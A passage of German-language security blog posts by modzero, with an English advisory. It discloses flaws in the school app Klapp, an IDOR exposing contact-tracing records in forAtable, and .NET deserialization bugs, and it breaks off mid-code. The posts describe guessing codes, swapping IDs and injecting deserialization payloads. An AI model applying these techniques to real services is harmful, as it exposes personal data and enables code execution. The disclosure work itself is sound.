2020-09-07
Knapp daneben ist auch vorbei
Wir als modzero sehen seit einem Jahrzehnt Sicherheitsschwachstellen und Datenschutzvergehen in verschiedensten Variationen. Unabhängig von der Art oder Komplexität einer Schwachstelle sehen wir sehr oft einen wenig risikobewussten Umgang mit Daten und Ressourcen. Wir schreiben das Jahr 2020, und noch immer werden Applikationen mit der heissen Nadel gestrickt. Time-to-Market hat eine so hohe Priorität, dass nicht einmal grundlegende Sicherheitsprinzipien in die Lösungsarchitektur oder das individuelle Applikationsdesign einfliessen. Man findet an jeder Ecke Applikationen und Datenverarbeitungssysteme, die schlecht, d.h. unsicher, mit den ihnen anvertrauten Daten umgehen. Dies ist umso gravierender, wenn es sich um personenbezogene Daten oder gar Gesundheitsdaten handelt.
In unserem Artikel Mit Webapps gegen COVID-19 wollten wir darauf aufmerksam machen, dass jeder eine Verantwortung hat, dass Software angemessen sicher wird. Heute möchten wir dieses Thema mit einem weiteren Beispiel erneut aufgreifen. Die anhaltende Corona-Pandemie eröffnet neue Herausforderungen aber auch Möglichkeiten bei der Digitalisierung und der Datenverarbeitung. In allen Bereichen sucht man nach Lösungen, und spätestens während des totalen Lockdowns haben auch Schulen festgestellt, dass sie noch Nachholbedarf im digitalen Bereich haben. Es wurde alles eingesetzt was verfügbar war: Zoom, Teams, WhatsApp, Facebook Messenger. In der Schweiz wurde bereits vor drei Jahren eine schweizerische Plattform namens Klapp ins Leben gerufen, welche insbesondere die Kommunikation zwischen Eltern und Schule und Lehrpersonen vereinfachen soll. Einfache Kommunikation, die klappt!", so der Slogan des Unternehmens. Zu Zeiten von Corona hat diese Plattform einen massiven Nutzer-Zuwachs erhalten. Unter den Nutzern ist auch eine unserer MitarbeiterInnen.
Wie funktioniert Klapp?
Bei Klapp handelt es sich um ein schweizerisches Start-Up mit dem Sitz in Fislisbach (AG). Zum Zeitpunkt der Veröffentlichung gibt das Unternehmen an mehr als 200 Schulen, 8'600 Lehrpersonen und 45'000 Eltern eine Plattform zur Kommunikation zu bieten. Hier werden gemäss seinen Angaben täglich rund 3'000 individuelle Nachrichten versendet. (siehe hierzu Angaben durch Klapp) Die Daten werden ausschliesslich in der Schweiz gespeichert. Neben der Benutzung im Browser kann die App kann auch mit dem Smartphone (iOS und Android) genutzt werden.
Aus technischer Sicht ist Klapp eine cordova-basierte Web- und Mobile-App. Zur Registrierung als Elternteil oder Schüler benötigt man einen sogenannten Autorisierungs-Code. Nach erfolgreicher Registrierung ist der Zugriff auf die jeweilige Klasse und die damit verbundenen Funktionalitäten möglich. Während der Kurzanalyse wurden folgende Haupt-Funktionen als angemeldetes Elternteil identifiziert:
Damit Schulen die Klapp-Plattform nutzen können, wird zunächst ein Ex- und Import von Stammdaten vorgenommen. Zu diesem notwendigen Ex- und Import Prozess hat Klapp diverse Anleitungen veröffentlicht. Nach erfolgreichem Daten-Import können die Lehrpersonen Einladungsschreiben für die Eltern generieren. Diese enthalten Informationen über Klapp und sind personalisiert. Jedes dieser Einladungsschreiben hat nämlich zusätzlich den Namen des Kindes und einen Autorisierungs-Code für die Eltern aufgedruckt.

Dieser Autorisierungs-Code wird bei der Registration benötigt. Hiermit autorisiert sich die Anwenderin als Elternteil eines bestimmten Kindes. Der Autorisierungscode stellt somit das eindeutige Merkmal dar, um die betreffende Person zu identifizieren.
Der Autorisierungs-Code hat das folgende Format: P-ABCDE1. Das Präfix "P-" steht für "Parent", Autorisierungs-Codes von Schülerinnen haben das Präfix "S-", was für "Student" steht. Die darauffolgenden Werte sind sechs alphanumerische Zeichen, Das bedeutet, dass es maximal 2.17 Milliarden mögliche "Parent" oder "Student" Codes gibt - Bei einer Anfrage pro Sekunde an den Klapp-Server benötigt man 3,7 Wochen um alle möglichen Autorisierungs-Codes zu erraten. Geht man von aktuell 45'000 verfügbaren Autorisierungs-Codes aus, trifft man mit einer Warscheinlichkeit von 52.49%, bei der selben Anfragerate, nach 10 Stunden mindestens einen gültigen Autorisierungs-Code. Würde man den möglichen Raum von Zeichen um Kleinbuchstaben und die Länge des Autorisierungs-Codes auf 10 erweitern, so bräuchte man, bei der angenommenen Anzahl an Anfragen pro Sekunde, 16 Millionen Jahre um alle durchzuprobieren. Die Annahme, dass nur eine Anfrage pro Sekunde möglich ist gilt als sehr konservativ, nicht selten können aktuelle Webserver bis zu 1000 Anfragen/Sekunde abarbeiten.
Wie steht es bei Klapp um den Datenschutz?
Die Daten der Applikation (Nachrichten, Chats und Bilder) werden zwar über einen verschlüsselten Kanal auf den Klapp-Server übertragen, werden auf dem Server aber unverschlüsselt gespeichert. Das heisst, dass mindestens der Betreiber und alle Involvierten, welche die Daten prozessieren, Informationen mitlesen und manipulieren könnten. Im Falle eines Klassenverbundes heisst das im einfachsten Fall, dass die Klapp GmbH sowie die Dienstleister für den Nachrichtenversand über die registrierten Kinder und Eltern sowie Klassengruppierungen und die versendeten Informationen Bescheid wissen. Werden sensible Informationen wie Krankheiten oder vielleicht Kritik- oder Entwicklungspunkte der Kinder zwischen Personen ausgetauscht, sind diese nicht umfassend gesichert und es ist nicht ersichtlich ob man mit dem legitimen Kommunikationspartner Daten austauscht.
In Ihrer Datenschutzerklärung verspricht die Klapp GmbH:
"Wir geben keine Personendaten an Dritte weiter und erzielen auch keinen kommerziellen Nutzen daraus. Ihre Personendaten, die Sie uns zur Verfügung stellen, werden von uns weder verkauft, vermietet noch gehandelt".
Weiter schreibt die Klapp GmbH:
"Ihre Daten speichern wir in der Schweiz. Benutzerdaten werden in der Schweiz gespeichert und verarbeitet und unsere Partner halten die schweizerischen und europäischen Datenschutzverordnung ein".
Und "Privacy by Design" wird ebenfalls als Merkmal benannt. Die Aussage "Wir wollen mit Ihren Daten kein Geld verdienen. Ihre Benutzerdaten werden unter keinen Umständen an Dritte verkauft oder für Werbung verwendet." wirkt vertrauenserweckend.
Auch die Schulen scheinen von der Lösung und deren Sicherheit überzeugt. Auf Anfrage, warum Vor- und Familienname an Dritte ohne Zustimmung mitgeteilt werde teilte eine Schule mit:
"Die Firma Klapp hat nach der Registrierung nur Name und Vorname plus Schule Ihres Kindes. Diese gehören nach meinem Wissen nicht zu den besonders schützenswerten Daten. Es ist uns aber bewusst, dass ein sorgfältiger Umgang mit Daten zentral ist. Daher haben wir uns bei der App auch für die Firma Klapp entschieden, die einen hohen Standard bei der Datensicherheit garantiert".
Bei einer technischen Betrachtung zeigt sich ein anderes Bild. Klapp verwendet beispielsweise für die Übermittlung der Daten Push-Nachrichten, welche über den US-Amerikanischen Dienst OneSignal versendet werden. Hier werden neben dem Vor- und Familiennamen des Absenders und der Betreff der Nachricht auch weitere Metainformationen über das verwendete Gerät und das Betriebssystem und des Netzwerkbetreibers gesammelt.

POST /players/8a77f111-c146-402b-88f3-18d874c19872/on_session HTTP/1.1 Host: api.onesignal.com Content-Type: application/json Cookie: __cfduid=dd2b3c2801e2179392b0232eac71bf6bf1597813825 Connection: close If-None-Match: W/"698f061ae145e46b912b7e8e00450320" Accept: application/vnd.onesignal.v1+json SDK-Version: onesignal/ios/021402 Accept-Language: de-ch Content-Length: 434 Accept-Encoding: gzip, deflate User-Agent: Klapp/2.0.1 CFNetwork/1126 Darwin/19.5.0 { "app_id" : "bb3877cc-afc0-4d81-ac73-9339554c7686", "net_type" : 0, "device_type" : 0, "sdk" : "021402", "identifier" : "b5c9f6956a9606a93f564ac0677342ffafd9540b6c34ba170da574fd3f77dc08", "language" : "de-CH", "device_os" : "13.5.1", "game_version" : "2.0.1", "timezone" : 7200, "ad_id" : "CF7A0B86-311E-4EF7-A469-F7A5322B206A", "notification_types" : 31, "carrier" : "Salt", "device_model" : "iPhone11,2" }
Bei dem Versand via E-Mail verwendet Klapp den Dienstleister Mailgun - ebenfalls ein US-Unternehmen (siehe Datenschutzerklärung). Im Gegensatz zu den Push-Nachrichten beinhalten die E-Mail-Nachrichten auch die versendete Information, sowie Hyperlinks zu den allenfalls angehängten Dokumenten. Was bedeutet, dass neben Klapp auch Mailgun in der Lage ist, sämtliche E-Mail-Inhalte zu lesen oder zu manipulieren. Ob diese Firmen sich der hiesigen Gesetzeslage und Richtlinien unterwerfen, ist für uns aktuell nicht prüfbar. Wir möchten aber auch darauf hinweisen, dass die Daten auch ungewollt als Folge eines Erpressungsversuches oder eines Hacker-Angriffes bei dem Dienstleister geleakt werden könne .

Wir geben der Firma Klapp recht. Privacy by Design ist wichtig... und zwar genau aus dem Grund, dass niemand unautorisiertes Drittes unsere Daten einsehen können sollte. Genau deshalb sollte konsequent Ende-zu-Ende-Verschlüsselung eingesetzt werden, wie es zum Beispiel im Leitfaden des Datenschutzbeauftragten des Kantons Zürich empfohlen wird. Deshalb werden Instant-Messengers wie Signal oder Threema von vielen bevorzugt, da der Transportweg sowie jede Zwischenspeicherung verschlüsselt ist und erst am eigentlichen Endgerät entschlüsselt werden kann.
Nachdem wir uns dem Datenschutzversprechen der Firma Klapp GmbH und dem Thema Datenschutz gewidmet haben, möchten wir auf einige der technischen Unzulänglichkeiten eingehen. Viele der identifizierten Fehlerklassen sind trivial und bekannt. Auch wenn die Auswirkungen bei dieser Applikation möglicherweise gering ausfallen, möchten wir diese aufführen, weil wir diese immer wieder sehen.
Und wie steht es um die Informationssicherheit?
Datenschutz und Informationssicherheit sind eng miteinander verbunden und das Befolgen von Sicherheitsempfehlung wichtig, um den Datenschutz überhaupt zu Implementieren. Eine oberflächliche Betrachtung der Plattform hat gezeigt, dass grundlegende Sicherheitsprinzipien der Informationstechnik sowie der sicheren Entwicklung für mobile Anwendungen nicht befolgt wurden. Dies ist leider auch im Jahr 2020 immer noch häufig anzutreffen. Gerade in frühen Projektphasen ist die Erarbeitung von Bedrohungsmodellen und das Definieren von Sicherheitsanforderungen ein Kernpunkt, um später beim Lösungsdesign sowie der eigentlichen Entwicklung die richtigen Massnahmen und Methoden zu ergreifen. Gerade die gefundenen Trivialfehlerklassen zeigen, dass Datenschutz und Sicherheit während der Entwicklung der Plattform keine Schwerpunktthemen waren.
Während der Nutzung der Applikation konnte beobachtet werden, dass nicht nur der eigene Autorisierungs-Code vom Klapp-Server übermittelt wird, sondern auch die Autorisierungs-Codes, welche es den anderen Eltern ermöglichen sich eindeutig zu identifizieren.

Das bedeutet, dass jeder Empfänger das eindeutige Identifizierungsmerkmal aller Klassenteilnehmer besitzt und deren Identität übernehmen kann. Die Auswirkung eines Missbrauchs erscheint vielleicht aktuell nicht weiter schlimm bei einer solchen Verwendung. Soziales Schadenspotenzial ist auf jeden Fall vorhanden und Vertrauensmissbrauch ist möglich. Wichtig ist jedoch zu verstehen, dass eine zukünftige Funktionserweiterung der Plattform noch andere betrügerische Aktivitäten ermöglichen könnte, die heute vielleicht noch nicht absehbar sind. Hätte Klapp eine Implementierung nach den eigens aufgestellten Prinzipien der Datensparsamkeit und Need-to-Know Basis gewählt, wäre dieser Fehler gar nicht aufgetreten. Diese Schwachstelle wurde umgehend dem Klapp-Team gemeldet und Sie wurde am Abend des 24. August 2020 durch ein serverseitiges Update behoben. Daraufhin hat das Klapp-Team auch eine interne Nachricht an die BenutzerInnen versendet in der zu einer manuellen Überprüfung der registrierten Elternteile aufgerufen wird.
Ebenfalls ein Klassiker unter den trivialen Fehlern in Applikationen ist eine Vertrauensstellung durch sehr langlebige Authentisierungsmerkmale. Im Falle der Klapp-Applikation sind es JSON-Web-Token ohne Ablaufzeitpunkt. Jeder, der in den Besitz eines solchen Tokens gelangt, kann ohne zusätzliche Merkmale wie Benutzername oder Passwort andere Nutzer imitieren und hat somit automatische die Identität und Berechtigungen des legitimen Eigentümers. Bei der Klapp-Applikation werden diese Tokens auf dem Endgerät ohne zusätzliche Schutzmassnahmen abgelegt und gelangen so auch auf Backup-Datenträger oder Cloud-Dienste. Auch hier möchten wir darauf hinweisen, dass die Auswirkungen zum Glück in dem heutigen Anwendungsfall moderat ausfallen. Bekannte Schwachstellen zu implementieren ist auf jeden Fall eine schlechte Praxis, auch wenn sie aktuell wenig Relevanz haben.



Der Versand von individual Nachrichten an Lehrer ist eine von der Plattform vorgesehene Funktionalität. Wählt man "Neue Nachricht" aus so erscheint eine Auflistung der Lehrer, welche zum Empfang von Nachrichten autorisiert sind. Jeder Lehrer hat in der Plattform eine eindeutige Benutzerkennung, Beispielsweise 5f3bf6370452c910612c71be. Diese wird beim Versand der Nachricht angegeben. Eine solche Benutzerkennung haben auch Eltern und Schüler. Tauscht man die Benutzerkennung des Lehrers mit der eines anderen Elternteils aus, so wird die Nachricht an den gewünschten Empfänger übermittelt.

Soweit modzero bekannt, ist dies keine vorgesehene Funktionalität. Auch hier müssen wir erneut darauf verweisen, dass solche Fehlerklassen üblich sind. Nur weil eine Benutzeroberfläche eine Einschränkung vorsieht, muss diese von der Applikation nicht zwingend umgesetzt worden sein. Eine Einschränkung in der Benutzeroberfläche ersetzt nicht ein striktes Umsetzen eines ordentlichen Benutzer- und Rollenkonzeptes auch im Backend.
Beiläufig sind noch weitere Probleme aufgefallen, welche hier nicht im Detail beschrieben werden, aber auch mit dem Klapp-Team besprochen wurden:
Fazit
Dies soll kein Aufruf zur Verhinderung von Innovation oder Digitalisierung sein, jedoch bitten wir jeden einzelnen Entwickler, Architekt, CEO... JEDEN Involvierten... seine Verantwortung wahrzunehmen und im Zweifelsfall jemanden hinzuzuziehen, der die Sachlage neutral beurteilen kann.
Natürlich kann in diesem Beispiel argumentiert werden, dass die Auswirkungen der Schwachstellen ja überschaubar sind und die Schutzmassnahmen für das Anwendungsgebiet möglicherweise ausreichen. Das Problem einer solchen Argumentation liegt dabei, dass sich die Umgebung, der Funktionsumfang, die Entwicklungsprozesse sowie die Firmen selbst zukünftig wandeln werden. Selbst wenn zum jetzigen Zeitpunkt ein Unternehmen ehrbare Ziele verfolgt oder eine Applikationsschwachstelle nur eine verhältnismässig geringe Auswirkung aufweist, so kann sich dies schon Morgen ändern. Es ist daher wichtig bereits früh in der Projektphase die richtigen Entscheidungen zu treffen und Fehlfunktionen, Schwachstellen und Bedrohungsmodelle als integral wichtigen Bestandteil zu behandeln.
Zeitlicher Ablauf
2020-07-07 11:00:23
Mit Webapps gegen COVID-19
Am 29. Juni 2020 hat unser Kollege Joël Gunzenreiner eine Schwachstelle in der Web-Applikation forAtable entdeckt. Die App dient der Erfassung von Kontaktdaten von Veranstaltungs- und Restaurantgästen, um mögliche COVID-19-Infektionsketten nachverfolgen zu können. Durch die Ausnutzung dieser Schwachstelle war es möglich, sämtliche über die Gäste erfassten Daten auszulesen.
Erster Akt: Die Regeln
Am 06. Juni 2020 wurden in der Schweiz die Corona-Einschränkungen weitreichend gelockert, und am 22. Juni 2020 fast vollständig aufgehoben. Der Schweizer Bundesrat hat in Folge diverse Maßnahmen zur weiteren Eindämmung von Covid-19 erlassen.
Eine dieser sog. "Massnahmen betreffend öffentlich zugängliche Einrichtungen, Betriebe und öffentlichen Veranstaltungen", schreibt vor, dass bestimmte Vorgaben umgesetzt werden müssen, um die Hygiene- und Abstandsregeln einzuhalten. Beispielsweise müssen gemäss Artikel 5 der Corona-Verordnung des Schweizer Bundesrates die Kontaktdaten der Besucher*innen von Restaurants oder Veranstaltern erhoben werden. In einem vom Branchenverband der Schweizer Gastronomie GastroSuisse in Zusammenarbeit mit mehreren Bundesämtern veröffentlichten Schutzkonzept wurden Möglichkeiten der Erhebung sowie die zu erhebenden Daten festgelegt:
Kontaktdaten können insbesondere über Reservations- oder Mitgliedersysteme oder mittels Kontaktformular erhoben werden. Es sind folgende Daten zu erheben:(Auszug aus GastroSuisse Schutzkonzept Kapitel 9)
- Name, Vorname, Wohnort, Telefonnummer und Tischnummer
- in Gästebereichen von Restaurationsbetrieben einschliesslich Bar- und Clubbetrieben, in denen die Konsumation stehend erfolgt, sowie in Diskotheken und Tanzlokalen: die Ankunfts- und Weggangszeit;
- bei Veranstaltungen ohne Sitzplätze mit mehr als 300 Personen: der Sektor, in dem sich die Person aufhalten wird.
Das Schutzkonzept schreibt weiter vor, dass Betreiber*innen und Organisator*innen die Vertraulichkeit der Daten während der Aufbewahrung sicherstellen müssen. Eine Nutzung der Datensätze zu einem anderen als dem vorgesehenen Zweck ist dabei ebenso vorgeschrieben wie die Löschung der Datensätze nach 14 Tagen.
Zweiter Akt: Lösungen
In den meisten Gaststätten finden Gäste dieser Tage oft einen kleinen Zettel mit einem Stift auf dem Tisch vor. Auf diesem Zettel vermerken die Gäste ihre geforderten persönlichen Daten und ggf. weitere Angaben zur Person.
Der Zettel verschwindet dann im Backoffice des Betriebs und wartet auf den Schredder oder die Behörde. Dies scheint datenschutztechnisch die derzeit schmerzärmste Variante zu sein, da zum einem eine Contact-Tracing-App auf einem Smartphone in einem Restaurant teilweise nur bedingt hilft, und zum anderen jede*r Besucher*in vor dem Einlass zur Handy-Kontrolle antreten müsste.
Zettel und Stift? Es dauerte nicht lang, bis dieser Umstand als Weckruf die Kanäle der Online-Tischreservierungs-Branche erreichte. Letztere produzierte hektisch eine Online-Version der "Zettel und Stift"-Variante: Das Züricher Startup LunchGate bastelte noch schnell eine Corona-Tracing-Funktion in ihre Tischreservierungs-Web-Applikation, und war im Geschäft.
Die Erfassung der erforderlichen Daten erfolgt über ein entsprechendes Formular der forAtable-Web-Applikation. Dies kann über das Scannen eines QR-Codes mit dem Smartphone oder durch die direkte Eingabe der URL geschehen. Auf dem Smartphone des Gastes präsentiert sich das Formular wie in Abbildung 1 links:


Nach der Eingabe der Daten (Vorname, Nachname und Telefonnummer) und dem Akzeptieren der Covid-19-Datenschutzerklärung, die man natürlich vorher gelesen hat, können die Daten an den Server von LunchGate geschickt werden. Der Gast bekommt anschließend auf einer Bestätigungsseite die eingetragenen Daten vorsichtshalber nochmals angezeigt - wie in Abbildung 1 rechts ersichtlich, ergänzt mit einer genauen Uhrzeit des Check-ins.
Herr Meier freut sich darüber, sich progressiv wie lange nicht mehr verhalten zu haben, und wartet auf sein Cordon Bleu.
Dritter Akt: Die Vollkontakt-Datenspeicherung und die Hacker
Nachdem unser Kollege Joël während eines Bar-Besuchs diesen Prozess abgeschlossen hatte, wollte er es dann doch ein bisschen genauer wissen. Glücklicherweise hatte er sich die URL der Bestätigungsseite notiert, um den ganzen Prozess nochmal am Schreibtisch genauer unter die Lupe zu nehmen; so wie es jeder andere interessierte Hacker des Planeten auch getan hätte.
In der URL der Bestätigungsseite ist eine ID enthalten, die für den erstellten Datensatz generiert wurde. Jeder Besuch einer Person generiert eine solche ID und einen dazugehörigen Datensatz. Onkel Kevin hat also eine eindeutige ID für jeden seiner Restaurantbesuche. So auch Joël. Und alle anderen Gäste, die das System von LunchGate nutzen. LunchGate verwendet die ID, um die Daten zu einem Besuch auf der Bestätigungsseite anzuzeigen.

Wenn man nun eins und 174395 zusammenzählt, erkennt man als Hacker mit einschlägigen Erfahrungen im Bereich der Addition natürlicher Zahlen, dass dem Algorithmus zur Generierung eindeutiger IDs möglicherweise eine sehr einfache Funktion zugrunde liegt. Probieren wir es doch einfach mal aus, verkleinern die ID und setzen sie also von beispielsweise 174396 auf 174394. Wenig überraschend: es erscheint ein anderer Datensatz.
Die Covid-19-Verordnung des Schweizerischen Bundesrates legt fest, dass man die erhobenen Daten zu keinen anderen Zwecken als der Bekämpfung der Covid-19-Epidemie verwenden darf. Tatsächlich sind aber sämtliche Daten ungeschützt im Internet zugänglich: Name, Telefonnummer, Besuchszeit und teilweise die kompletten Adresse. Damit dürften sie weiteren Zwecken unterlegen sein.
Moment, es gibt doch noch eine andere Regel: die Daten müssen nach 14 Tagen gelöscht werden. Subtrahieren wir ein paar weitere Werte und schauen uns den Datensatz mit der ID 87657 an:
Die obenstehende Abfrage ist vom 02.07.2020. Zu sehen sind aber die Daten eines Restaurantbesuchs vom 12. Juni 2020. Das bedeutet, dass die angezeigten Daten 21 Tagen vor dieser Abfrage erhoben und gespeichert worden sind.
Die vorgeschriebene Datenhaltung von 14 Tagen wurde also weit überschritten.
"Warum ist das ein Problem?" fragt Herr Meier vielleicht.
Im Gegensatz zur Datensatz-ID der Firma LunchGate ist eine Telefonnummer eine weltweit einmalige, eindeutig einer Person zuzuordnende ID. Die Web-Applikation erlaubt es, eine Zuordnung von Namen zu einer Telefonnummer einzusehen. Lädt man sich die komplette Covid-19-Contact-Tracing-Datenbank herunter und korreliert sämtliche Datensätze, lassen sich über einen längeren Zeitraum möglicherweise Bewegungsprofile ganzer Gruppen erstellen.
Insbesondere im Kontext der Covid-19-Epidemie lädt dies regelrecht zu Social-Engineering-Angriffen auf Gaststättenbesucher*innen ein: Kriminelle wissen genau, wann eine Person wo war, sie haben die Telefonnummer und die Namen der Personen - mehr braucht es nicht, um potentiellen Opfern per Anruf unkluge Handlungen plausibel erscheinen zu lassen. Denn genau so funktioniert Social Engineering. Enkeltrick reloaded.
Natürlich erlaubt eine solche Rendezvous-Datenbank noch ganz andere Schlüsse, wenn man die Daten in ihrer Gesamtheit nur entsprechend sortiert und durchsuchbar gestaltet. Dass an den Daten Interesse besteht, hat die Deutsche Polizei in Hamburg schon gezeigt.
Vierter Akt: Probleme sind dazu da, gelöst zu werden
Die oben beschriebene Schwachstelle ist eine sog. IDOR-Schwachstelle (Insecure Direct Object Reference), eine (unsichere) direkte Referenz auf einen Datensatz - in diesem Fall über eine URL.
Angreifer können durch unautorisierte Referenzen auf sensible Informationen zugreifen. Das ist in diesem konkreten Fall besonders trivial, da die einmaligen IDs, die als Referenz dienen, sehr kleine Zahlen sind, die zudem fortlaufend erzeugt werden. Somit sind sie leicht zu erraten und begünstigen Missbrauch enorm. Kennt ein Angreifer irgendeine valide ID, kann er weitere gültige IDs schnell erraten. Eine Schwachstelle wie diese kann auftreten, wenn eine schlechte/schwache Zugriffskontroll-Implementierung oder gar keine vorhanden ist.
Was können die Betreiber dieser Covid-19-Tracing-Datenbank also konkret anstellen, um diese Probleme in den Griff zu bekommen?
- Wenn Daten nur geschrieben werden sollen, warum kann man sie dann lesen?
- Berechtigungskonzepte erstellen (vor der Entwicklung): Gaststätten müssen eine Liste eines bestimmten Zeitraums lesen dürfen, um diese auf Anfrage an die Gesundheits-Behörden weitergeben zu können. Eine Gaststätte darf nur die Datensätze der eigenen Besucher*innen lesen dürfen.
- Authentifizierungskonzepte erstellen (vor der Entwicklung): Organisationen, Benutzer und Rollen müssen sich mit angemessen sicheren Konzepten gegenüber der Anwendung legitimieren, bevor sie auf Datensätze zugreifen dürfen.
- Eine "Bestätigungsseite" benötigt unmittelbar nach der Registrierung keinen Datenbankzugriff über eine Web-API auf den eigenen Datensatz.
- Ausschließlich notwendige Daten erheben: Wozu wird ein Realname benötigt, wenn es eine eindeutige und einzigartige ID (Telefonnummer) gibt?
- Unique IDs, die als PII gelten, also Personen identifizieren, dürfen nicht erratbar sein. Sie sollten üblicherweise zufällig generiert werden und nicht vorhersagbar sein, wie beispielsweise UUIDs.
Das Problem der fehlenden Löschung lässt sich noch viel einfacher lösen:
- Daten automatisch nach 14 Tagen löschen,
- Backups dieser Daten automatisch nach 14 Tagen löschen,
- keine Backups dieser Daten anfertigen.
Alternativ können Gaststätten auch einfach (wieder) zum Papier greifen. Vorausgesetzt, jeder Tisch bekommt seinen eigenen Zettel, und keine zu ergänzende Liste. Diese Zettel werden am Ende eines Tages in ein grosses Couvert gesteckt. Auf das Couvert wird das Datum geschrieben, an dem es vernichtet werden soll, also in 14 Tagen. Anschließend wandert es in die Kiste mit allen anderen Couverts. Und noch bevor ein Mitarbeiter des Restaurants morgens das Kühlaggregat der Zapfanlage in Betrieb nimmt, wirft er alle Couverts mit dem aktuellen Datum in den Schredder.
Ein systematisches Problem müssen die Firmen und Anbieter solcher Lösungen allerdings selber in den Griff bekommen: Behandelt eure Benutzer*innen nicht wie Beta-Tester. Veröffentlicht doch bitte eure Produkte erst dann, wenn alle notwendigen Funktionen, Datenschutz- und Sicherheitsrichtlinien implementiert sind. Danke.
Fünfter Akt: Behauptungen sind dazu da, belegt zu werden
Wir haben einen Screencast angefertigt, um den oben beschriebenen Flow zu dokumentieren und unsere Aussagen zu belegen:
Um die Machbarkeit eines Datendiebstahls zu demonstrieren, hat modzero ein Pythonscript geschrieben, dass die Enumerierung von beliebigen Datensatz-IDs demonstriert. Dieses Script werden wir auf GitHub veröffentlichen sobald LunchGate die Sicherheitslücke geschlossen hat.
Für diesen. Artikel haben wir die abgefragten Datensätze aus Datenschutzgründen auf selbst erstellte Fake-Datensätze beschränkt:
Am Abend des 03. Juli 2020 erreichte uns eine E-Mail eines Managing Partner der LunchGate AG. In der E-Mail wurde uns mitgeteilt, dass die IDOR-Schwachstellen behoben seien. Zur 14-Tage Löschfrist hiess es, hier bestünden keine Probleme.
2020-06-16
MZ-20-03 - New security advisory regarding vulnerabilities in .Net
Today, we publish a new advisory for some vulnerabilities, that have been found by our team-mate Nils Ole Timm (@firzen14).
Nils spent some time with .Net deserialization attacks and research. In April 2020 we already published an article about his Deserialization Attacks in .Net Games.
While the gaming industry thankfully fixed all of the reported issues, Microsoft elected to manage rather than fix the reported issues. For this advisory, two of them were not considered vulnerabilities by Microsoft as "by design". The third one was originally planned to be fixed, but a week before the disclosure deadline Microsoft informed us that they would only add a warning to their documentation.
Proof of Concept code is provided for each vulnerability right here:
- https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
- https://github.com/modzero/MZ-20-03_PoC_NetRemoting
- https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter
The direct link to the advisory is https://www.modzero.com/advisories/MZ-20-03-Net-Deserialization.txt
---------------------------------------------------------------- v5 --- modzero Security Advisory: Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03] ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Timeline ----------------------------------------------------------------------- * 2020-02-14: This advisory has been sent to the Microsoft security team (security@microsoft.com). * 2020-02-19: Microsoft requests that the three vunerabilities are resubmitted individually. * 2020-02-19: Vulnerabilities resubmitted individually. * 2020-02-29: Microsoft closes 4.2 as "By Design". * 2020-03-19: Microsoft accepts 4.1 as a security issue. * 2020-03-19: Microsoft closes 4.3 as "By Design". * 2020-04-07: Microsoft informs modzero of a planned patch release on June 9th. * 2020-06-02: Microsoft informs modzero that the vulnerability will be fixed with documentation only. * 2020-06-08: modzero replies with concerns regarding the proposed fix. * 2020-06-15: Microsoft replies that they will go through with the fix. * 2020-06-16: modzero publishes this disclosure. ----------------------------------------------------------------------- 2. Summary ----------------------------------------------------------------------- Vendor: Microsoft * 4.1 Deserialization vulnerability in IsolatedStorageFileEnumerator::MoveNext via crafted identity.dat file leading to arbitrary code execution modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -> 8.2 * 4.2 Deserialization vulnerability in BinaryServerFormatterSink::ProcessMessage 4.2.1 When configured with TypeFilterLevel.Low Denial of Service modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -> 7.5 4.2.2 When configured with TypeFilterLevel.Full Remote code execution modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.0 * 4.3 Deserialization vulnerability in System.Messaging.Message::get_Body() using a BinaryMessageFormatter leading to remote code execution modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -> 9.0 ----------------------------------------------------------------------- 3.0 Introduction ----------------------------------------------------------------------- modzero identified several critical vulnerabilities in the .Net runtime which can lead to denial of service or remote code execution attacks against services using standard built-in .NET features. A potential for local privilege escalation or persistence using the IsolatedStorage vulnerability was also found. Any software using the vulnerable .Net components is potentially affected. Specifically: * Enumeration of IsolatedStorage spaces * .Net Remoting with binary serialization * .Net MSMQ with a BinaryMessageFormatter modzero identified and tested the vulnerabilities to be present in: .NET Framework 4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5 Earlier versions have not been tested, but are likely to at least be partially affected as well. ----------------------------------------------------------------------- 4. Details ----------------------------------------------------------------------- 4.1 Triggering Deserialization vulnerability in IsolatedStorageFileEnumerator::MoveNext via crafted identity.dat file leads to arbitrary code execution An attacker with write access to the identity.dat file can inject a deserialization payload, which will be executed when the built-in .NET method IsolatedStorageFileEnumerator::MoveNext is called. When creating an IsolatedStorage space in the Machine scope (IsolatedStorageScope.Machine) its identity.dat file has read and write permissions for the "Everyone" Windows-Group. An attacker with access to any account can create a Machine scope IsolatedStorage space and cause the vulnerability to trigger on the next enumeration. The enumeration itself does not have to be controlled or issued by the attacker and thus the execution takes place in the context where enumeration occurs. When using an IsolatedStorageFileEnumerator to enumerate IsolatedStorage spaces, the MoveNext method will read the contents of each space's identity.dat file and deserialize them without any security features enabled. The identity.dat files in the Machine scope have read/write permissions for the Everyone group and a low privileged user can craft an identity.dat file to execute a standard deserialization attack when another user enumerates storage spaces. This for example affects the storeadm.exe tool. The following code snippets demonstrate how the data from the identity.dat file is passed directly into a BinaryFormatter without further sanitization or any security measures. IsolatedStorageFileEnumerator::MoveNext calls this.GetIDStream(twoPaths.Path1, out stream) to retrieve the file contents of the associated identity.dat file of each IsolatedStorage space into a stream variable. public bool MoveNext() { while (this.m_fileEnum.MoveNext()) { [...] if (flag) { if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + "\\" + twoPaths.Path2, out stream2)) [...] } else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2)) { if (!this.GetIDStream(twoPaths.Path1, out stream2)) [...] stream2.Position = 0L; } else { if (!this.GetIDStream(twoPaths.Path1, out stream3)) [...] stream3.Position = 0L; } The previously populated stream variable holding the possibliy malicious identity.dat file's content is passed to an overload of the InitStore method as documented in the followind code section. if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) && 